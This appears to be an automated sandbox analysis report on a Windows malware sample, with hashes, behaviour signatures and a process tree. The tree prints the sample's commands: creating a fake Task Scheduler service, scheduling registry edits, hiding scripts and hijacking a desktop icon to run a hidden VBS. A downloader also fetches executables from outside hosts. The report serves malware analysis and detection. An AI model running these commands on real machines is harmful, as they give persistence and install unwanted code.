Analysis

  • max time kernel
    3s
  • max time network
    129s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    24/12/2023, 23:50

General

  • Target

    1acc701bc67bb7e7a9c72ffc34128588.exe

  • Size

    355KB

  • MD5

    1acc701bc67bb7e7a9c72ffc34128588

  • SHA1

    502258ad22f44ad1e311d6424ddd7fc3f7faff9b

  • SHA256

    5a43b4f04e348f964d91025fc4d849747047d5d85a0cf6d0cfcfbc622ab421d9

  • SHA512

    4caec99cbc2bd2b25c4df5538baac3058adcffad61c5633fa17f98c844b86ef76de916d81c31d10424624325bac79b817f43a9f02d5e3dfaa2d134c9f3096525

  • SSDEEP

    6144:Fu2urzh9xu/XkauF5JgwFuaufWG7JbOB4Dklhd8r3AXX2z+2FB8+iTJiPUbVxXRP:Futrzh9xOXkWwJufWG7KlaAnUfiTJSSb

Score
8/10

Malware Config

Signatures

  • Creates new service(s) 1 TTPs
  • Sets file to hidden 1 TTPs 7 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Launches sc.exe 2 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 7 IoCs
  • Views/modifies file attributes 1 TTPs 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1acc701bc67bb7e7a9c72ffc34128588.exe
    "C:\Users\Admin\AppData\Local\Temp\1acc701bc67bb7e7a9c72ffc34128588.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\setup_free_newasp.vbs"
      2⤵
        PID:3056
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C start /min iexplore http://www.4555.net/index2.html?newasp
          3⤵
            PID:2756
            • C:\Program Files\Internet Explorer\iexplore.exe
              "C:\Program Files\Internet Explorer\iexplore.exe" http://www.4555.net/index2.html?newasp
              4⤵
                PID:1076
                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1076 CREDAT:275457 /prefetch:2
                  5⤵
                    PID:2876
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C .\runonce.cmd
                3⤵
                  PID:1644
                  • C:\Windows\SysWOW64\sc.exe
                    sc create Schedule binpath= "C:\Windows\svchost.exe -k netsvcs" depend= rpcss start= auto displayname= "Task Scheduler"
                    4⤵
                    • Launches sc.exe
                    PID:1452
                  • C:\Windows\SysWOW64\sc.exe
                    sc config Schedule start= auto
                    4⤵
                    • Launches sc.exe
                    PID:1460
                  • C:\Windows\SysWOW64\net.exe
                    net start "Task Scheduler"
                    4⤵
                      PID:2520
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 start "Task Scheduler"
                        5⤵
                          PID:2668
                      • C:\Windows\SysWOW64\at.exe
                        at 8:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
                        4⤵
                          PID:2516
                        • C:\Windows\SysWOW64\at.exe
                          at 11:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
                          4⤵
                            PID:2124
                          • C:\Windows\SysWOW64\at.exe
                            at 14:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
                            4⤵
                              PID:2404
                            • C:\Windows\SysWOW64\at.exe
                              at 17:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
                              4⤵
                                PID:2384
                              • C:\Windows\SysWOW64\at.exe
                                at 21:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
                                4⤵
                                  PID:1380
                                • C:\Windows\SysWOW64\at.exe
                                  at 23:00 /every:Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday cmd.exe /c REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{00000108-0000-0010-8000-00AA006DAAAA}"
                                  4⤵
                                    PID:1064
                                • C:\Windows\SysWOW64\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /C .\tool.cmd
                                  3⤵
                                    PID:2204
                                  • C:\Windows\SysWOW64\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /C .\360.cmd
                                    3⤵
                                      PID:2028
                                    • C:\Windows\SysWOW64\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /C .\fav.cmd
                                      3⤵
                                        PID:1428
                                      • C:\Windows\SysWOW64\cmd.exe
                                        "C:\Windows\System32\cmd.exe" /C .\copy.cmd
                                        3⤵
                                          PID:1292
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +r +h +s "C:\Program Files\software\Microsoft\win.vbs"
                                            4⤵
                                            • Sets file to hidden
                                            • Views/modifies file attributes
                                            PID:3012
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +r +h +s "C:\Program Files\software\fav\fav.cmd"
                                            4⤵
                                            • Sets file to hidden
                                            • Views/modifies file attributes
                                            PID:2152
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +r +h +s "C:\Program Files\software\36OSE.vbs"
                                            4⤵
                                            • Sets file to hidden
                                            • Views/modifies file attributes
                                            PID:2828
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +r +h +s "C:\Program Files\software\361.cmd"
                                            4⤵
                                            • Sets file to hidden
                                            • Views/modifies file attributes
                                            PID:2444
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +r +h +s "C:\Program Files\software\360.cmd"
                                            4⤵
                                            • Sets file to hidden
                                            • Views/modifies file attributes
                                            PID:2352
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +r +h +s "C:\Program Files\software\tool.cmd"
                                            4⤵
                                            • Sets file to hidden
                                            • Views/modifies file attributes
                                            PID:828
                                          • C:\Windows\SysWOW64\attrib.exe
                                            attrib +r +h +s "C:\Program Files\software\360SE.vbs"
                                            4⤵
                                            • Sets file to hidden
                                            • Views/modifies file attributes
                                            PID:3000
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /C .\cpa.cmd
                                          3⤵
                                            PID:2148
                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\msn2.exe
                                              ".\msn2.exe"
                                              4⤵
                                                PID:1472
                                                • C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe" "http://soft.softdowns.info/install/YoudaoDict_zhusha_quantui_004.exe"
                                                  5⤵
                                                    PID:2960
                                          • C:\Windows\SysWOW64\reg.exe
                                            REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}"
                                            1⤵
                                              PID:2912
                                            • C:\Windows\SysWOW64\reg.exe
                                              REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f
                                              1⤵
                                                PID:2528
                                              • C:\Windows\SysWOW64\reg.exe
                                                REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f
                                                1⤵
                                                  PID:1824
                                                • C:\Windows\SysWOW64\reg.exe
                                                  REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32" /ve /t REG_SZ /d "%systemRoot%\system32\shdocvw.dll" /f
                                                  1⤵
                                                    PID:1760
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
                                                    1⤵
                                                      PID:1640
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell" /ve /t REG_SZ /d "┤≥┐¬╓≈╥│(&H)" /f
                                                      1⤵
                                                        PID:1936
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f
                                                        1⤵
                                                          PID:1996
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command"
                                                          1⤵
                                                            PID:2232
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)\Command" /ve /t REG_SZ /d "wscript.exe c:\progra~1\software\Microsoft\win.vbs" /f
                                                            1⤵
                                                              PID:1512
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)\Command" /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0" /f REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder"
                                                              1⤵
                                                                PID:476
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f
                                                                1⤵
                                                                  PID:944
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f
                                                                  1⤵
                                                                    PID:488
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f
                                                                    1⤵
                                                                      PID:532
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f
                                                                      1⤵
                                                                        PID:572
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)\Command"
                                                                        1⤵
                                                                          PID:688
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\╩⌠╨╘(&R)"
                                                                          1⤵
                                                                            PID:1484
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell\┤≥┐¬╓≈╥│(&H)"
                                                                            1⤵
                                                                              PID:2144
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\shell"
                                                                              1⤵
                                                                                PID:1924
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\InProcServer32"
                                                                                1⤵
                                                                                  PID:1632
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}\DefaultIcon"
                                                                                  1⤵
                                                                                    PID:1576
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000108-0000-0010-8000-00AA006DAAAA}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f
                                                                                    1⤵
                                                                                      PID:1524
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f
                                                                                      1⤵
                                                                                        PID:2892
                                                                                      • C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe
                                                                                        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\ks.exe" "http://download.youbak.com/msn/software/partner/37a.exe"
                                                                                        1⤵
                                                                                          PID:1628

                                                                                        Network

                                                                                        MITRE ATT&CK Enterprise v15

                                                                                        Replay Monitor

                                                                                        Loading Replay Monitor...

                                                                                        Downloads

                                                                                        • memory/1472-193-0x0000000000400000-0x0000000000423000-memory.dmp

                                                                                          Filesize

                                                                                          140KB

                                                                                        • memory/1628-131-0x0000000000230000-0x0000000000231000-memory.dmp

                                                                                          Filesize

                                                                                          4KB

                                                                                        • memory/1628-194-0x0000000000400000-0x0000000000481000-memory.dmp

                                                                                          Filesize

                                                                                          516KB

                                                                                        • memory/1628-411-0x0000000000400000-0x0000000000481000-memory.dmp

                                                                                          Filesize

                                                                                          516KB

                                                                                        • memory/2960-420-0x0000000000230000-0x0000000000231000-memory.dmp

                                                                                          Filesize

                                                                                          4KB

                                                                                        • memory/2960-486-0x0000000000400000-0x0000000000481000-memory.dmp

                                                                                          Filesize

                                                                                          516KB